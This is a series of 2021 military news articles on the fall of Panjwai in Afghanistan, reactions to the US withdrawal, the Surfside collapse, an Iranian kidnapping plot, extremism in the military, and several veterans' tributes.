The tank purchase is the latest in a string of moves to muscle up the country's military. In 2018, Poland reached a deal to spend $4.75 billion to acquire the U.S.-made Patriot missile system.
Then-Brig. Gen. Wayne Eyre, the Canadian army commander of NATO Training Mission-Afghanistan, talks with Afghan army and police leaders in 2014. Now a lieutenant general and the acting head of Canadas armed forces, Eyre wrote a public letter acknowledging questions about the legacy of their time in Afghanistan, after the Taliban took control of Panjwai district in southern Kandahar province, where many Canadians fought and died. (Frankie Colbry/U.S. Navy)

KABUL, Afghanistan  A swift Taliban victory in a district Canadian troops spent years defending has led the countrys top officer to openly acknowledge the struggles of a force questioning the worth of its fight in Afghanistan.

Canadian troops did much of their fighting in Panjwai district, an area considered the Talibans spiritual heartland in southern Kandahar province, over a six-year span from 2005. The Taliban took the district July 4 after two nights of heavy clashes with Afghan government forces, local officials said.

Many of us have been watching the reports out of Afghanistan with dismay, Lt. Gen. Wayne Eyre, acting head of Canadas forces, wrote in a two-page open letter posted to Twitter late Tuesday. The fall of Panjwai  has hit many of us particularly hard, and as we question our legacy, it serves as a harbinger for all Canadians who served in the country, regardless of when and where.

Our Afghanistan experience has left none untouched, and many, including families, are scarred physically, mentally and morally from it, Eyre wrote. Many of us have been asking, some for years, was it worth it? Answers will be deeply personal and not all have reached a final conclusion other than time will tell.

The fall of Panjwai, emblematic of the deteriorating situation in Afghanistan, has been painful for many of us. For current and former CAF members and your families, here are my thoughts. pic.twitter.com/Nw9T4seiOo  Lieutenant-General / Lieutenant-general Wayne Eyre (@CDS_Canada_CEMD) July 13, 2021

U.S. and other coalition forces steadily poured into Panjwai as the Taliban reconstituted its forces in the years after its fall from power. The Battle of Panjwai, which was led by Canadian forces in 2006, left 16 Canadian troops killed and dozens more wounded. Two Americans were also killed during the operations.

In 2012, Robert Bales, a former Army staff sergeant, murdered 16 civilians in Panjwai. He pleaded guilty to the related charges and was sentenced to life in prison a year later.

The last Canadian troops left Afghanistan seven years ago. But memories of the district are indelibly etched into the collective psyche of those who served there, Eyre said.

Buy Photo More than 3,000 soldiers from NATO countries lined the ramp at Kandahar Airfield in March 2009 to pay final respects to four Canadian troops killed in makeshift bomb explosions. Maj. Gen. Wayne Eyre, acting head of Canadian forces, wrote a public letter acknowledging questions about the legacy of their time in Afghanistan, after the Taliban took control of Panjwai district in southern Kandahar province, where many Canadians fought and died. (Stars and Stripes)

Afghan forces still hold the city of Kandahar and most other urban areas, but the Taliban control more land than they have since 2001, according to Long War Journal, which independently tracks figures. Taliban-run lands include much of the rural territory surrounding the cities. In Panjwai, theyve secured a 3-mile perimeter around the district center, Panjwai governor Hasti Mohammad told Stars and Stripes.

While history will be the ultimate judge, the current trajectory of the country leaves us with much pain and doubt, Eyre said. He compared the sacrifices in Afghanistan to those endured in Europe and Korea, where veterans could put their service in context as they saw nations rise out of the rubble and ashes.

At this moment in time, it is difficult to envision having similar sentiments about our war, he said.

Eyres comments contrast with those of many top U.S. military leaders, who have mostly avoided discussion on the wars legacy. But along with his frank assessment, he offered encouragement to those who served, and included several links for support services.

Buy Photo Soldiers from November Company, 3rd Battalion, Royal Canadian Regiment, patrol a village in Afghanistan's Kandahar province in September 2008. Maj. Gen. Wayne Eyre, acting head of Canadian forces, wrote a public letter acknowledging questions about the legacy of their time in Afghanistan, after the Taliban took control of Panjwai district in southern Kandahar province, where many Canadians fought and died. (Stars and Stripes)

Should we hang our heads in bitterness and remorse; or should we continue to venerate the sacrifices of so many in our ranks and families, to honour the noble commitment to serve and making the world a better place, and endeavour to learn from our experiences, grow, and become better every day? Eyre asked.

While none of us can speak for them, I have to believe that our fallen would want us to pursue the latter.

Twitter commenters offered some anger and sadness over the war in response. But most, like Annalise Schamuhn, who describes herself as a retired Army officer, thanked Eyre for showing compassion and care.

Between 2001 and 2014, 158 Canadian soldiers were killed in Afghanistan. Over 2,300 American troops have been killed during the war.

Most coalition troops have left Afghanistan and the U.S. will conclude its withdrawal by Aug. 31, President Joe Biden said this month.
President George W. Bush speaks to a crowd of troops during a surprise visit to Bagram Airfield, Afghanistan, March 1, 2006. Bush thanked the troops for their service and assured them they are making strides towards democracy in Afghanistan. (Brian Schroeder/U.S. Army)

Former president George W. Bush said he believes the withdrawal of U.S. troops from Afghanistan is a mistake, in rare public remarks on the military intervention he launched nearly two decades ago.

In an interview with German international broadcaster Deutsche Welle that was posted online Wednesday, Bush said he is "afraid Afghan women and girls are going to suffer unspeakable harm" because of the withdrawal.

"You know, I think it is," Bush said when asked whether he thinks the withdrawal is a mistake. "Yeah, because I think the consequences are going to be unbelievably bad. And I'm sad. Laura and I spent a lot of time with Afghan women. And they're scared."

President Joe Biden announced earlier this year that he is ending the U.S. military's mission begun in the aftermath of the Sept. 11, 2001, terrorist attacks, leaving behind a force of about 600 troops to protect the U.S. Embassy and the international airport a few miles away. Biden has said that the withdrawal will end formally on Aug. 31, but effectively it is complete now, with Monday's departure of the top U.S. commander in Afghanistan, Army Gen. Austin "Scott" Miller, according to defense officials.

The United States has spent nearly a trillion dollars on Afghanistan since 2001, funding the war, propping up the country's government, building a military and financing infrastructure projects, according to Pentagon reports. U.S. airstrikes were instrumental in driving the radical Islamic Taliban regime from power in Kabul in November 2001 after five years of brutal rule.

Many Afghan women have seen the presence of U.S. forces in Afghanistan as protective. Under Taliban rule, women were not allowed to work, attend school or travel outside the home without a male guardian. When in public, they were required to wear the burqa, a head-to-toe covering with a small mesh window to see through.

In most Taliban-controlled areas of Afghanistan today, women remain largely absent from public life and still face the same restrictions on dress, but girls are allowed to attend school, and women are allowed to work in certain fields such as medicine and education.

In the Deutsche Welle interview, which was taped as part of a documentary on German Chancellor Angela Merkel, Bush also said he worries about others in Afghanistan who assisted U.S. and NATO forces over the past 20 years.

"I think about all the interpreters and people that helped  not only U.S. troops, but NATO troops  and they're just, it seems like they're just going to be left behind to be slaughtered by these very brutal people," Bush said. "And it breaks my heart."

"I'm sure Angela  I haven't talked to her about it  but I suspect she feels the same way," Bush added. "After all, she was a little girl who grew up in a pretty closed society."

In remarks this month, Biden pledged to relocate thousands of Afghan interpreters who served alongside U.S. troops and now fear for their lives and the safety of their families, adding that some relocation flights would begin as early as this month.

Critics have warned against abandoning interpreters and other Afghans who helped the American war effort, and Biden told them last week that "there is a home for you in the United States if you so choose." But his administration has released few details.

While Bush voiced criticism of the withdrawal, some former members of his administration have argued that the decision to leave is overdue.

"I wouldn't say enough is enough," retired Gen. Colin Powell, who led Bush's State Department during the 9/11 attacks and the beginning of the U.S. war in Afghanistan, said in April. "I'd say we've done all we can do. ... What are those troops being told they're there for? It's time to bring it to an end."

A poll taken shortly after Biden announced the pullout showed it to be fairly popular. In a Quinnipiac University survey in late May, 62% of Americans said they approved, while 29% disapproved and 9% offered no opinion.

The Washington Post's Susannah George, Dan Lamothe and Cleve R. Wootson Jr. contributed to this report.
From left, Suhil Shaheen, Mawlawi Shahabuddin Dilawar and Mohammad Naim, members of a political delegation from the Afghan Taliban's movement, arrive for a news conference in Moscow Friday. (Alexander Zemlianichenko/AP)

MOSCOW (AP)  Moscow expects the Taliban to fulfill its pledge not to threaten Russia or its allies in Central Asia, the Kremlin envoy on Afghanistan said in an interview published Wednesday.

Zamir Kabulov, who met with a Taliban delegation that visited Moscow last week, voiced confidence that the Taliban would focus on securing their gains in Afghanistan and wouldn't try to challenge the countries of the region.

"They visited Moscow to offer guarantees on behalf of the Taliban's supreme leadership that the territory of Afghanistan will not be used against the interests of third countries," Kabulov said in an interview with the state RIA-Novosti news agency. He said he previously received similar assurances from Mullah Abdul Ghani Baradar, the co-founder of the Taliban.

The Taliban's focus on fighting the Islamic State group also works in Russia's interests, Kabulov said.

"The Taliban fight the Islamic State, and the Taliban gains erode the foundation for any IS attacks and diversions in Central Asia," the diplomat said.

The Taliban claimed last week that it now controls 85% of Afghanistan's territory after making quick gains amid the withdrawal of American troops that is set to wrap up on Aug. 31. Earlier this month, Taliban advances forced hundreds of Afghan soldiers to flee across the border into Tajikistan.

Kabulov said the retreating Afghan troops fired on the Taliban fighters after crossing into Tajikistan, but the Taliban didn't return fire.

The Kremlin envoy acknowledged that the Islamic State group and other militant groups in Afghanistan could pose a threat to Russia's allies in Central Asia north of Afghanistan. He said Russia would work with Central Asian nations to coordinate security efforts and tighten border protection.

"That would be the most impressive signal to any forces against encroaching on our security," said Kabulov, who is set to attend an international security conference in Tashkent, Uzbekistan that opens Thursday.

He predicted that Afghanistan will see intense fighting in the coming months before the Afghan government, the Taliban and other groups "become ready for substantial and fruitful talks."

"Both parties were preparing for the fighting for too long, and before they spend their ammunition it's hard to expect anything," the Russian diplomat said. "The fighting will continue for another couple of months before a new military-political balance is established."

Kabulov said that Russia has been talking to all parties involved to encourage them to negotiate a political settlement.

Moscow, which fought a 10-year war in Afghanistan that ended with Soviet troops' withdrawal in 1989, has made a diplomatic comeback as a mediator, reaching out to feuding Afghan factions and hosting several rounds of their talks.

While he criticized the results of the U.S. mission in Afghanistan, Kabulov stressed that Moscow and Washington share common interests in Afghanistan and were working closely together to help stabilize the country.

"It's almost the only field where we cooperate in a fruitful way with the Americans," the envoy said.

Russia nonetheless has warned the United States against deploying its troops in the former Soviet Central Asian nations following the withdrawal from Afghanistan.
SURFSIDE, Fla. (Tribune News Service)  Its been six days since authorities found the body of Maria Gabriela Camou in the rubble of the Surfside condo collapse, but her family says funeral plans must wait until the search crew finds her husband of 40 years, Miguel Kaufman.

We thought the next day they would find Miguel, said Maria Ines Camous, whose sister died in the collapse. God willing, soon. I thought it would be immediately.

Standing in front of a makeshift memorial set up for her sister and playing Ave Maria from one of their cellphones, Maria Ines and her brother Bernardo Camou said they traveled from Uruguay to be with their nephews and to tend to the memorial on Harding Avenue a block away from where the Champlain Towers South Condo once stood.

With obligations back home, they said they must return to Uruguay soon, with or without official word about their brother-in-law.

As search teams began their 21st day looking for victims of the Surfside building collapse  and the process of identifying bodies has grown more challenging  some families are still waiting to be reunited with their loved ones even as the search-and-recovery effort appears to be approaching its final stages.

At least 96 people died in the collapse, Miami-Dade Police said Wednesday after identifying an additional victim. A total of 11 people remain potentially unaccounted for in the collapse, a police spokesman said.

Miami-Dade Mayor Daniella Levine Cava had previously said there are people who are deceased who may be on the list of the missing but have not been identified yet. Luis Barth Tobar, 51, was identified Wednesday as an additional victim after his body was recovered Saturday.

Officials have cautioned that theres no timeline for when the recovery effort is expected to conclude.

It will conclude sooner than we expected, Surfside Mayor Charles Burkett told the Miami Herald on Wednesday. My hope and my most strident desire is that we can get everybody out.

He said the process of identifying bodies recovered from the collapse is taking longer than it once did due to their degradation over time. Burkett said families still waiting to hear about their loved ones  like the family of Dr. Brad Cohen  have been texting him for updates but he must ask them to hold on just a little longer until the work is completed.

Soraya Cohen, whose husband is Brad Cohen, told the Miami Herald she is receiving zero information about Cohen.

Burkett said it is heartbreaking he does not have answers for Cohens 12-year-old daughter, Elisheva, who Burkett said he met the weekend after the tragedy praying at the collapse site.

That is the cruelest irony that her dad is one of the last to be sort of found and identified after shes at the site from the very beginning saying prayers. Burkett said. Thats heartbreaking to me. Whats further heartbreaking is that I cant give her the answer that she wants.

He said he has reminded families that search teams are working 24 hours a day to find their loved ones.

My message to the families is the same that it was on day one: We will not stop working until we get everybody out of that pile of rubble and return them to their families, he said.

2021 Miami Herald.

Visit miamiherald.com.

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This aerial view shows search and rescue personnel working on site after the partial collapse of the Champlain Towers South in Surfside, north of Miami Beach, on June 24, 2021. (Chandan Khanna, AFP via Getty Images/TNS)
In this July 13, 2005, file photo, outgoing reformist Iranian President Mohammad Khatami talks on the phone with the mother of female journalist Masih Alinejad, right, after meeting with journalists in Tehran, Iran. (Hassan Sarbakhshian/AP)

NEW YORK  An Iranian intelligence officer and three alleged members of an Iranian intelligence network have been charged in Manhattan with plotting to kidnap a prominent Iranian opposition activist and writer in exile and take her back to Tehran, authorities said Tuesday.

An indictment in Manhattan federal court alleges that the plot was part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom to Iran. Victims were also targeted in the United Arab Emirates, authorities said.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targeted victims.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America, Alinejad told The Associated Press.

Irans mission to the United Nations did not immediately respond to a request for comment. State media in Tehran did not immediately acknowledge the alleged plot, though Iran has become more aggressive in recent years about seizing opposition journalists and dissidents abroad amid tensions over its tattered nuclear deal.

The indictment acknowledges that, naming an exiled Paris-based journalist later seized by Iran and executed. Also named was a California-based member of an Iranian militant opposition group in exile whose family says he was abducted by Iran while staying in Dubai in 2020. Prosecutors alleged the Iranian intelligence officer had an electronic device containing a graphic of Alinejad alongside those two men, prosecutors said.

Alinejad, who worked for years as a journalist in Iran, long has been targeted by its theocracy after fleeing the country following its disputed 2009 presidential election and crackdown.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for U.S.-funded Voice of Americas Farsi-language network since 2015. She became a U.S. citizen in October 2019.

Her White Wednesday and My Stealthy Freedom campaigns have seen women film themselves without head coverings, or hijabs, in public in Iran, which can bring arrests and fines. Details in the indictment also correspond to Alinejads biography.

Alinejad said authorities had come to her last year and told her she was being watched, including photos being taken of her home. She said she had been living under U.S. government protection since then, including time spent in various safe houses. She also said the FBI at one point asked her to conduct a live video online to see if Iranian intelligence could track her.

Although not charged in the kidnapping plot, Niloufar Bahadorifar, also known as Nellie, was arrested July 1 in California on charges that she has provided U.S. financial and other services to Iranian residents and entities and some financial services supported the plot and violated sanctions against Iran, according to prosecutors.

The indictment said Bahadorifar, 46, originally from Iran, works at a California department store. Bahadorifars lawyer, Assistant Federal Defender Martin Cohen, declined to comment.

Bahadorifar has pleaded not guilty to charges lodged at the time of her arrest and been released on bail, authorities said. She still faces arraignment on charges in Tuesdays superseding indictment.

The rest of the defendants are fugitives believed to be based in Iran, authorities said.

Among this countrys most cherished freedoms is the right to speak ones mind without fear of government reprisal, U.S. Attorney Audrey Strauss said. A U.S. citizen living in the United States must be able to advocate for human rights without being targeted by foreign intelligence operatives.

Every person in the United States must be free from harassment, threats and physical harm by foreign powers, Acting U.S. Assistant Attorney General Mark J. Lesko added. Through this indictment, we bring to light one such pernicious plot to harm an American citizen who was exercising their First Amendment rights.

William F. Sweeney Jr., the head of New Yorks FBI office, noted that the indictment sounded a bit like some far-fetched movie plot.

We allege a group, backed by the Iranian government, conspired to kidnap a U.S. based journalist here on our soil and forcibly return her to Iran. Not on our watch, he said.

The Iranian intelligence officer, who remains a fugitive, was identified as Alireza Shahvaroghi Farahani.

According to the indictment, Farahani, 50, and three other defendants tried since at least June 2020 to kidnap Alinejad. If caught and convicted, the four could face life in prison.

Farahani and the network he led on multiple occasions in 2020 and 2021 lied about his intentions as he hired private investigators to surveil, photograph and video record Alinejad and her household members, the indictment alleged. It said the surveillance included a live high-definition video feed of the activists home.

The indictment alleged that the government of Iran in 2018 tried to lure her to a third country so a capture would be possible, even offering money to her relatives to try to make it possible. The relatives, the indictment said, refused the offer. Alinejads family has been targeted for harassment by the Iranian government, a separate lawsuit filed by the activist in the U.S. alleges.

The others charged in the kidnapping plot were identified as Mahmoud Khazein, 42, Kiya Sadeghi, 35, and Omid Noori, 45, all from Iran.

According to the indictment, Sadeghi researched a service offering military-style speedboats that could perform a maritime evacuation out of New York City that would ultimately reach Venezuela, whose government has friendly relations with Iran.

Khazein, it said, researched travel routes from Alinejads home to a waterfront neighborhood in Brooklyn and the location of her residence relative to Venezuela and Tehran.

Alinejad said the plot wouldnt stop her from her activism.

I have only one life and Im not going to live in paranoia. Im not going to live in fear, she said. I have two options  feel miserable, make my oppressors feel miserable, so I choose the second one.

___

Associated Press writer Jon Gambrell in Dubai, United Arab Emirates, contributed to this report.
Trump supporters, including one waving a Confederate flag, watch rioters storm the Capitol in Washington, D.C., on Jan. 6, 2021. Robert Reid/Stars and Stripes ()

WASHINGTON (Tribune News Service)  The House Appropriations Committee would require Defense Secretary Lloyd J. Austin III to report to lawmakers soon on progress in keeping violent extremists out of the U.S. military.

The panel said in a report made public Monday that it would direct the Pentagon to report on how it is implementing proposals to solve the problem, including recommendations from an internal Defense Department study that was sent quietly to Congress in October 2020 and disclosed publicly by CQ Roll Call in February.

The Pentagon study described in detail the appeals that white supremacists and other extremists make to recruit military members  and their periodic successes.

"Despite a low number of cases in absolute terms, individuals with extremist affiliations and military experience are a concern to U.S. national security because of their proven ability to execute high-impact events," the Pentagon's October 2020 report stated. "Access to service members with combat training and technical weapons expertise can also increase both the probability of success and the potency of planned violent attacks."

Growing concerns

The Defense Department's efforts to grapple with violent extremism, particularly white supremacism, sped up last year in the wake of the George Floyd protests.

The Jan. 6 riots heightened worries more, because at least 50 people with military ties mostly veterans, some with connections to extremist groups  have been charged with crimes committed that day at the Capitol, according to news reports.

This week's House Appropriations report, which accompanies the draft fiscal 2022 Defense spending bill, sounded a skeptical note about the prospects for excising from the ranks those who espouse and commit violence.

"While senior leaders in the Department of Defense and the Services are speaking candidly about the threat of extremist ideologies in their ranks, their efforts to make serious strides are undoubtedly hamstrung by the lack of definition of 'extremism' and 'extremist activities' in Department policy," the Appropriations Committee report noted. "The Department's efforts to address this threat are further complicated by an inability to collect and track extremist activity of servicemembers, gaps in investigative and record keeping procedures, and the absence of a mechanism to report extremist behavior or attempts at recruiting military personnel by extremist groups."

Pentagon report's proposals

The committee's new report notes that the director of national intelligence assessed in March that violent domestic extremists pose what the panel called a "heightened threat to the homeland."

"This is particularly troubling," the lawmakers wrote, "when coupled with the Department of Defense's October 2020 assessment that found extremist groups are actively seeking to recruit military personnel or enlist their own members in the military to obtain combat and tactical experience and gain sensitive national security-related knowledge."

Congress required the Pentagon's October 2020 report with a provision inserted in the fiscal 2020 defense authorization law at the insistence of California Democrat Pete Aguilar, who has pushed hard for years to get the Defense Department to more forcefully address the presence of extremists in military ranks.

The Pentagon study, written by the Defense Personnel and Security Research Center, recommended improving Defense Department security clearance screening to keep out extremists. It also urged the military services to tap FBI databases of extremist tattoos and symbols so Defense officials can better understand what such signs might say about someone's affiliations.

The report also said the Pentagon could consider hiring contractors to surveil social media as much as is practically and legally possible. And it proposed requiring that all military discharge forms note if someone was expelled because of extremist actions.

In the cover memo with the report, Matthew Donovan, then the Pentagon's under secretary for personnel and readiness, said the department plans to implement most of those recommendations.

'Hatred' in the ranks

The new House Defense spending report would require the Defense secretary to formally inform lawmakers about implementation of the Pentagon research center's recommendations. And the panel wants the Pentagon to provide a separate report dedicated to explaining progress at keeping extremists from getting security clearances.

The committee's indirect endorsement of the research center's recommendations comes five months after Aguilar, who serves on the Appropriations Defense panel, filed a bill that would require implementation of the proposals.

"This report language outlines clear steps to prevent White Nationalists and other dangerous extremists from infiltrating our military," Aguilar told CQ Roll Call in a statement. "We owe it to the brave men and women who serve this country honorably to rid the ranks of hatred and extremism, and this bill helps us do just that."

Austin's engagement

In addition, the Appropriations Committee would direct Austin to report on progress in implementing the Biden administration's government-wide strategy for combating extremism, made public in June, as well as Austin's Defense Department guidance on the problem, issued in April.

Committee report language is not legally binding but federal departments and agencies generally treat committee directives to produce reports as effectively mandatory.

All the reports must be submitted to Congress within 90 days of enactment of the new appropriations law.

The committee also indicated that it "expects" Austin to make funds available for these efforts.

All signs indicate that Austin, the first African American to serve as Defense secretary, does not need to be persuaded on that score. He has personally made combating violent extremism a top priority and ordered all military units to "stand down" at some point between early February and early April to briefly put other activities on hold so that commanders and their troops could discuss how to combat the scourge.

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Black troopers from the 9th Cavalry Regiment pass in review following the American Lake Maneuvers of 1904 on what is now Fort Lewis. In the decades following the Civil War, the black regiments, known as Buffalo Soldiers, had a reputation for being among the most professional and well-trained in the Army. (JBLM Army Museum)

TUCSON, Ariz. (Tribune News Service)  Jon Covington, a retired Air Force master sergeant and a Buffalo Soldiers history buff, worked with many for six years to see the Buffalo Soldiers Memorial Plaza built at Quincie Douglas Center.

The memorial was unveiled at a May ceremony and celebration in the historically African American neighborhood at East 36th Street and South Kino Boulevard.

It pays homage and tells the history of the all-Black cavalry and infantry regiments that were established by Congress in 1866. Four regiments  the 9th and 10th Calvary Regiments and the 24th and 25th Infantry Regiments  were all stationed at Fort Huachuca.

Highlighted among its history are 18 Buffalo Soldiers who received the Medal of Honor, the nation's highest military honor awarded by Congress. The medal recipients in Arizona were Sgt. Benjamin Brown, Cpl. Isaiah Mays and Sgt. William McBryar.

The plaza, designed by Wheat Design Group, is a semi-circle design with brick pavers and decorative concrete. Vegetation includes red fairy dusters, purple salvias, winter blooming aloes and sage color candelillas. There is shaded and quiet space for visitors.

"The memorial is a great piece of history. We are trying to tell a story so visitors get a sense of the Buffalo Soldiers, and what they went through during a time of segregation in the military, and their work in settling the West and Southwest," said Covington, co-chair of the memorial project and member of the Greater Southern Arizona Area Chapter of the Buffalo Soldiers.

The charity organization is dedicated to preserving the legacy of the Buffalo Soldiers by educating and engaging the community about the impact of these soldiers. The group raised $70,000 for the memorial, said Covington, who worked with Councilman Richard Fimbres to see the memorial come to fruition.

Fimbres said the memorial plaza is the first voter-approved memorial honoring the Buffalo Soldiers. He said the memorial "will continue to benefit students and the community for future generations, honoring those African Americans who served in the U.S. Army from 1866-1948."

The memorial plaza is located at the center, 1575 E. 36th St., in Ward 5 in the South Park Neighborhood. More than $155,000 in voter approved bonds was used for the design and construction of the memorial plaza as part of a Tucson Parks and Recreation project.

Finishing touches will be completed this summer, including permanent signage and the design and installation of four flagpoles that will fly flags of the Buffalo Soldiers regiments. The area chapter of the Buffalo Soldiers will provide the flags. Digital access to historical information at the memorial plaza is another phase that is under planning, said Covington.

Covington said he and fellow members of the chapter hope to work in the future with the Pima County Public Library and potentially plan for a special section about the Buffalo Soldiers at the Quincie Douglas Branch Library.

The research section would have an extensive book collection about the regiments and other books on African American history. Some of the books would be donated by chapter members, and grant funding would be acquired to provide additional books.

"Children will visit the memorial during school field trips and we plan to work with tourism entities about attracting tourists to the site," he said.

"This memorial is a sense of accomplishment. We all worked hard to make it happen and there were some members of our chapter who passed away during this process," Covington said. "This memorial will bring the Tucson community together and it will create a dialogue between citizens and the military."

(c)2021 The Arizona Daily Star (Tucson, Ariz.)

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Marine Corps veteran Cpl. James Currie, shown, died last May. His friend and fellow veteran, Nick Novotny, is biking across the U.S. in his honor and to raise funds for his family and Wounded Warrior Project. (Screenshot from GoFundMe)

(Tribune News Service)  With almost 1,000 miles already under his belt, New Jersey native and Marine Corps veteran Nick Novotny has paused in Missoula for a few nights on a bike trek spanning the entire country.

Novotny, 25, is on a 4,000-mile trek from the Oregon coast to Pennsylvania. He's completing the ride across the TransAmerican Trail in honor of his friend, Cpl. James Currie, a veteran who passed away last May. His goal is to reach Currie's hometown of Glenside, Pa., by Labor Day.

The ride is paired with a fundraiser. Novotny hopes to raise $25,000 for Currie's family and the Wounded Warrior Project, a program providing mental and physical wellness services to veterans.

"The end goal is to raise awareness for the mental health crisis going on in the military and veteran community," Novotny said.

Currie was struggling with alcoholism when he passed, Novotny said. The pandemic was in full swing and Currie's loved ones weren't able to hold a funeral.

He describes Currie as an incredibly kind man loved by everyone in their unit, and someone who was always putting a smile on people's faces.

"This is kind of a way to bring him back to life," Novotny said.

Novotny started in Tillamook, Ore., a small coastal city, on June 25 on his Cannondale bike. Each day he'll complete about 50 to 80 miles of the journey. His nights are spent in either a one-person tent he has packed with him or a motel or hostel.

When asked if anything along the road has caused any trepidation, Novotny says the only thing he's really worried about are people who potentially don't have the best intentions (and maybe a bear here and there).

Elevation gain in Oregon, Idaho and Montana, combined with the heat and recent wildfire smoke in the Western U.S., have posed some physical difficulties for Novotny, he said. But he's optimistic once he makes his way through Wyoming and Colorado and into the Midwest things will get easier (and flatter).

"I've mentally accepted that climbing is going to be a part of it," he said. "It's amazing how your body adapts to whatever you're doing."

Novotny is a full-time student at a community college in New Jersey. As he's completing this trek, he's also responsible for a full course load to earn his associate degree in economics. With limited internet access, getting assignments done hasn't been the easiest thing to navigate, but it's been doable so far.

Novotny had limited training under his belt when he set out on this journey. He did some conditioning to acclimate his body to the sport, but has minimal biking experience and has never done a multi-day bike ride prior to this.

Inspiration for Novotny's route came from two women who started in Tillamook and biked to the East Coast. He contacted a bike shop owner there, who was excited about the trip and wanted to help him get started.

With about two more months of biking to go, Novotny is looking forward to the rest of his journey and exploring new parts of the country and sharing Currie's life with those he encounters.

"It's a micro thing that will hopefully lead to a macro change," he said.

You can donate to Novotny's fundraiser on GoFundMe and follow his journey on Instagram: @billyocean____

(c)2021 Missoulian, Mont.

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The Sons of the Union Civil War Soldiers honored Gordon Shepard, seen here with his wife Deborah in August 2019, for his work on the Civil War section at Riverside Cemetery in Saugus, Mass. (Gordon Shepard)

The stone had sunken several inches into the soil, a marker that was meant to stand against time and remind people of Richard Devine Jr.s ultimate sacrifice in the jungles of Vietnam on Jan. 10, 1968.

In 2006, fellow Vietnam veteran Gordon Shepard stood over the spot where his childhood friend Devine was buried, angry at the state of the marker. So he drove home, grabbed a shovel and fixed it. After he was done, he noticed other veterans grave markers nearby were in the same condition  some worse  so he fixed those, too.

Almost 15 years later, Shepard, 74, is still fixing and maintaining memorials and markers around Riverside Cemetery in Saugus, Mass. Over the years he has spent thousands of his own money and raised thousands more to make sure his fellow veterans were honored.

Riverside Cemetery repairs

There were no sprinklers. The Civil War Memorial cannonballs had disappeared years ago and were never replaced. Hedges were overgrown in areas, covering markers. Stones were crooked, sunken into the ground, and dirty.

We have a fella that was killed in Pearl Harbor, Dec. 7, 1941. And we have Silver Star recipients and we have Bronze Star recipients and multiple Purple Heart recipients. And they werent being taken care of the way it should be taken care of. It was just awful. Meanwhile they have the rotaries [in town] all looking real good, flowers and all of this stuff. Town hall looking good. And they werent taking care of our guys, Shepard said.

Medal of Honor recipient Arthur DeFranzo, an Army staff sergeant killed during WWII, is also buried at Riverside Cemetery, as is an unknown soldier.

In a large veterans section with 400-500 footstones, eight gravesites didnt have any markers. When Shepard asked the cemetery superintendent why, he was told the footstones had probably sunken into the soil and were buried. Shepard called the National Archives, who put him in contact with the people who handle the veterans markers. Because he wasnt related to the deceased, he was told he needed to find out who they were, their previous address and when they died.

The main veterans lot at Riverside Cemetery on July 7, 2021. Vietnam veteran Gordon Shepard has spent years volunteering at the cemetery, cleaning it up and fixing areas that needed attention. (John Falasca III)

Shepard headed out in the community, knocking on doors. Eventually, he was able to get markers for all eight in that section.

Shepard also called Arlington National Cemetery. He wanted to know how they were able to line up all their stones perfectly and in straight lines.

My veterans of World War I, the stones were laying down, they were this way and that way. They were all over the place. It was terrible, Shepard said. So I got a hold of the superintendent [at Arlington] and he started talking. He was free with his knowledge and everything, and he told me how he did it.

Sneaking in

When Shepard first started the cemetery repairs in 2006, he was worried that management would tell him to stop because of liability concerns. He started sneaking into the cemetery in the early morning and taking off shortly before 8 a.m., when the cemeterys staff would arrive. Unable to keep up with that schedule, Shepard started showing up at 9 a.m. with a speech for anyone who tried to stop him.

John Falasca III, superintendent for the Cemetery Department in Saugus, did stop by to talk to Shepard.

Back then we only had four employees, Falasca said. Now we only have two. We try to keep up with everything. We do the best we can.

The cemetery, which Falasca said is about 17 acres, does about 100 burials a year. There is a lot of upkeep for a cemetery that size. There are other volunteers, including local Boy Scouts.

Vietnam veteran Gordon Shepard has spent years volunteering at Riverside Cemetery in Saugus, Mass. One of his projects was restoring new markers for the Grand Army of the Republic lot. Shepard had black lettering added so the names would stand out  before they had just been white. (John Falasca III)

Falasca encouraged Shepard to continue his work. Shepard did, but there was a lot to be done.

Doug Cooper, the American Legion Post 210 commander at the time and president of the Saugus Veterans Council, asked how he could help. When Shepard mentioned all the sunken stones, the commander got a crew together. It took five weekends, but they were able to raise all the stones and place a rock underneath each one so they wouldnt slip again. Shepard and his son, Ryan, returned on their own to line up the markers, adjusting each a few inches to make it look perfect. Then they added flag holders in the middle of the markers, which took about three weekends.

Shepard takes care of the WWI, WWII and the Civil War sections of Riverside Cemetery. After spending about $2,000 of his own money maintaining the lawns, he realized he needed a sprinkler system. He was met with resistance and was told that Saugus residents wouldnt like paying for it. Shepard went on the offensive.

I said, Let me just point something out right now. You see where we are standing right now? See that marker right there? That kid is 19 years old and hes dead from Vietnam. His parents wont see him get married. His parents wont see him go to college. His parents wont see any offspring by him. They wont see their grandson and they wont see nothing, understand? And we cant put a little water on them?

Shepard hopped in his car, drove to Home Depot, bought $300 worth of hoses and sprinklers and turned them on.

Its been nine years, and no one has told him to turn them off.

Tet Offensive

Dicky Devine grew up two houses away from Shepard in Saugus. As boys they often played together, even though Shepard was a few years older. Devine joined the Army first, and Shepard followed shortly after. Both were sent to Vietnam, where they frequently exchanged letters.

Richard Devine Jr. was killed in action on Jan. 10, 1968. When his childhood friend Gordon Shepard went to visit his grave at Riverside Cemetery decades later, he noticed that the stone had sunken into the ground. He fixed it, and then noticed that other markers were in bad shape as well. He has spent the last 14 years volunteering to clean up the veterans' sections at the cemetery. (The Wall of Faces)

All of a sudden, his letters started coming back to me. So I wrote my mother to find out, and told her to call Mrs. Devine and find out where Dicky is so I can write him another letter. I didnt get mail from anybody for about 1, 2 weeks. It was really unusual, as I was getting mail every 2-3 days. And I finally got a letter from my mom that Dicky had been killed in January. January of 68, Shepard said, his voice trailing off.

Shepard remained in Vietnam during the Tet Offensive, based in Danang and Can Tho, about 90 miles south of Saigon in the jungles. While in Danang, he was with the 245th Aviation Company, and while in Can Tho he was in the 244th Aviation Company.

Devine was not the only personal loss Shepard experienced in Vietnam. He was crew chief when one of his aircrafts was shot down during a reconnaissance mission. Capt. Joseph Doyle and Capt. Steven Popkin were killed Feb. 28, 1968.

Captain Popkin was a good guy. I miss him. He was very well liked in the company, Shepard said.

